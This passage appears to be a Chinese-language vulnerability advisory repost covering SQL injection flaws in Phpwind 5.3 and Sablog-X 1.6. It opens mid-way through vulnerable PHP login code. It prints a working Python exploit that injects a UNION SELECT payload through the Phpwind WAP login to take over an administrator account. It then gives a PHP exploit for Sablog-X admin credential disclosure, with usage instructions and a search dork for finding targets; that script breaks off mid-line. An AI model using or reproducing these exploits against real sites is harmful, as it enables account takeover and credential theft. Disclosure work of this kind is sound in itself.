wap_msg(’c');
}
if(strlen($men_pwd)==16){
$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
}
if($men_pwd==$check_pwd){
if(strlen($men_pwd)==16){
$db->update(”Update pw_members SET password=’$password’ Where uid=’$men_uid’”);
}
$L_groupid=(int)$men['groupid'];
Cookie(”ck_info”,$db_ckpath.”\t”.$db_ckdomain);
}else{
global $L_T;
$L_T=$e_login[2];
$L_T ? $L_T–:$L_T=5;
$F_login=”$onlineip *|$timestamp|$L_T”;
$db->update(”Update pw_memberdata SET onlineip=’$F_login’ Where uid=’$men_uid’”);
wap_msg(’login_pwd_error’);
}
}else{
global $L_T;
$L_T=600-($timestamp-$e_login[1]);
wap_msg(’login_forbid’);
}
} else {
global $errorname;
$errorname=$username;
wap_msg(’user_not_exists’);
}
Cookie(”winduser”,StrCode($men_uid.”\t”.PwdCode($password)));
Cookie(’lastvisit’,”,0);
wap_msg(’wap_login’,'index.php’);
}[/code]
甚至不用注册账户,只要精心构造username即可利用此漏洞。
漏洞利用:80sec提供exploit如下:
[code]import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
argvs=sys.argv
data = "db_wapifopen=1&prog=login&pwuser=shit%c1'union select "+argvs[2]+”,mid(md5(123456),9,16),3,1,5/*&pwpwd=123456″
pwurl = “%s” % argvs[1]
pwurl = pwurl + “wap/index.php”
print “\r\n\r\nPhpwind Admin Pass Change Exploit”
print “Phpwind <=5.3 "
print "By 80sec "
print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/ 1\r\n"
print "\r\n[+]TargetForum: "+argvs[1]
print "[+]TargetId: "+argvs[2]
request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
try :
cookie=headers["set-cookie"]
if cookie.index('winduser') :
print "[+]Exploit Success"
else : print "[-]Exploit Failed"
except:
print "[-]Exploit Failed"[/code]
漏洞修复:请及时打上官方最新补丁
漏洞说明:Sablog-X是一个采用PHP和MySQL构建的博客系统.作为 Sablog的后继产品,Sablog-X在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在原有的基础上,更上一层楼.凭借Sablog-X作者7年多的安全技术经验,4年的PHP开发经验,强于创新,追求完美的设计理念,使得Sablog-X已获得业内越来越多专家和用户的认可.但是80sec在其中的代码里发现一个安全漏洞,导致远程用户通过SQL注射获得数据库权限,甚至获得管理员权限。
漏洞厂商:http://www.sablog.net
漏洞来源:http://www.80sec.com/release/sablog-sql-injection.txt
漏洞解析:在sablog的trackback.php中的转码函数
function iconv2utf($chs) {
global $encode;
if ($encode != 'utf-8') {
if (function_exists('mb_convert_encoding')) {
$chs = mb_convert_encoding($chs, 'UTF-8', $encode);
} elseif (function_exists('iconv')) {
$chs = iconv($encode, 'UTF-8', $chs);
}
}
return $chs;
}
存在问题,当$encode为GBK字符集的时候,用户提交%bf’将会被转化为一个正常的utf-8字符和一个单引号,如果数据未加处理进入数据库将导致SQL注射。
漏洞利用:80sec提供漏洞测试程序如下:
#!/usr/bin/php
[code]< ?php
print_r('
+---------------------------------------------------------------------------+
Sablog-X <= 1.6 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by SaBlog-X"
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].’ host path code
host: target server (ip/hostname)
path: path to sablog-x
code: the last blog trackback gbk code
Example:
php ‘.$argv[0].’ localhost /sablog-x/ MQlnYmsJMTIxNzkyMzE0OAkw
+—————————————————————————+
‘);
exit;
}
error_reporting(7);
ini_set(’max_execution_time’, 0);
$host = $argv[1];
$path = $argv[2];
$code = $argv[3];
$arr = explode(”\t”, base64_decode($code));
if (count($arr) != 4)
exit(”Exploit Failed!\n”);
$url = ‘http://’.$host.$path.’?action=show&id=’.$arr[0];
send();
preg_match(’#([\S]+):([a-z0-9]{32})[/code]
漏洞状态:请等待官方补丁。